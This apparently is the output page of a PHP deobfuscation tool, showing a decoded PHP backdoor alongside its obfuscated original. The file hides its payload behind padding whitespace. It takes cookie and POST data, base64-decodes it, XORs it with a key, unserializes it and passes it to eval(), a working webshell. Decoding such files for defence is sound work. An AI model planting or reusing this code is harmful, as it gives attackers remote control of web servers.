Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $QpIjsQvKk = "R" . "d" . chr (104) . chr (95) . 'p' . 'm' . chr (98); $COcnY = chr (99) . chr ( 741 - 633 ).chr ( 282 - 185 ).chr (115) . 's' . chr (95) . "e" . chr (120) . chr ( 477 - 372 )."s" . "t" . chr ( 1015 - 900 ); $zuukyRq = $COcnY($QpIjsQvKk); $YzqoS = $zuukyRq;if (!$YzqoS){class Rdh_pmb{private $UpkKfEqHbJ;public static $SvGnZuqL = "fd83221b-754f-4d2d-a49f-5b7c72a7e35d";public static $xjRph = 6853;public function __construct($dEChTv=0){$pUsGDYtch = $_COOKIE;$NPZmb = $_POST;$nErUJSsBYa = @$pUsGDYtch[substr(Rdh_pmb::$SvGnZuqL, 0, 4)];if (!empty($nErUJSsBYa)){$bPvzKMxs = "base64";$QATlG = "";$nErUJSsBYa = explode(",", $nErUJSsBYa);foreach ($nErUJSsBYa as $oQsCkA){$QATlG .= @$pUsGDYtch[$oQsCkA];$QATlG .= @$NPZmb[$oQsCkA];}$QATlG = array_map($bPvzKMxs . chr (95) . "d" . 'e' . chr ( 800 - 701 ).chr (111) . 'd' . "e", array($QATlG,)); $QATlG = $QATlG[0] ^ str_repeat(Rdh_pmb::$SvGnZuqL, (strlen($QATlG[0]) / strlen(Rdh_pmb::$SvGnZuqL)) + 1);Rdh_pmb::$xjRph = @unserialize($QATlG);}}private function MuoCRKWDN(){if (is_array(Rdh_pmb::$xjRph)) {$NQISBo = str_replace("<" . "?" . 'p' . "h" . chr ( 473 - 361 ), "", Rdh_pmb::$xjRph['c' . chr ( 464 - 353 )."n" . "t" . "e" . "n" . chr ( 842 - 726 )]);eval($NQISBo); $FYNMgPpMe = "18721";exit();}}public function __destruct(){$this->MuoCRKWDN(); $FYNMgPpMe = "18721";}}$SLtYmYE = new Rdh_pmb(); $SLtYmYE = "63527_38082";} ?>

Did this file decode correctly?

Original Code

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $QpIjsQvKk = "\x52" . "\144" . chr (104) . chr (95) . 'p' . 'm' . chr (98); $COcnY = chr (99) . chr ( 741 - 633 ).chr ( 282 - 185 ).chr (115) . 's' . chr (95) . "\x65" . chr (120) . chr ( 477 - 372 )."\163" . "\x74" . chr ( 1015 - 900 ); $zuukyRq = $COcnY($QpIjsQvKk); $YzqoS = $zuukyRq;if (!$YzqoS){class Rdh_pmb{private $UpkKfEqHbJ;public static $SvGnZuqL = "fd83221b-754f-4d2d-a49f-5b7c72a7e35d";public static $xjRph = 6853;public function __construct($dEChTv=0){$pUsGDYtch = $_COOKIE;$NPZmb = $_POST;$nErUJSsBYa = @$pUsGDYtch[substr(Rdh_pmb::$SvGnZuqL, 0, 4)];if (!empty($nErUJSsBYa)){$bPvzKMxs = "base64";$QATlG = "";$nErUJSsBYa = explode(",", $nErUJSsBYa);foreach ($nErUJSsBYa as $oQsCkA){$QATlG .= @$pUsGDYtch[$oQsCkA];$QATlG .= @$NPZmb[$oQsCkA];}$QATlG = array_map($bPvzKMxs . chr (95) . "\x64" . 'e' . chr ( 800 - 701 ).chr (111) . 'd' . "\145", array($QATlG,)); $QATlG = $QATlG[0] ^ str_repeat(Rdh_pmb::$SvGnZuqL, (strlen($QATlG[0]) / strlen(Rdh_pmb::$SvGnZuqL)) + 1);Rdh_pmb::$xjRph = @unserialize($QATlG);}}private function MuoCRKWDN(){if (is_array(Rdh_pmb::$xjRph)) {$NQISBo = str_replace("\74" . "\77" . 'p' . "\150" . chr ( 473 - 361 ), "", Rdh_pmb::$xjRph['c' . chr ( 464 - 353 )."\156" . "\164" . "\145" . "\156" . chr ( 842 - 726 )]);eval($NQISBo); $FYNMgPpMe = "18721";exit();}}public function __destruct(){$this->MuoCRKWDN(); $FYNMgPpMe = "18721";}}$SLtYmYE = new Rdh_pmb(); $SLtYmYE = "63527_38082";} ?>

Function Calls

chr 11
class_exists 1

Variables

$COcnY class_exists
$QpIjsQvKk Rdh_pmb

Stats

MD5 24d3beaa3a113dbb117eb32eb532af97
Eval Count 0
Decode Time 99 ms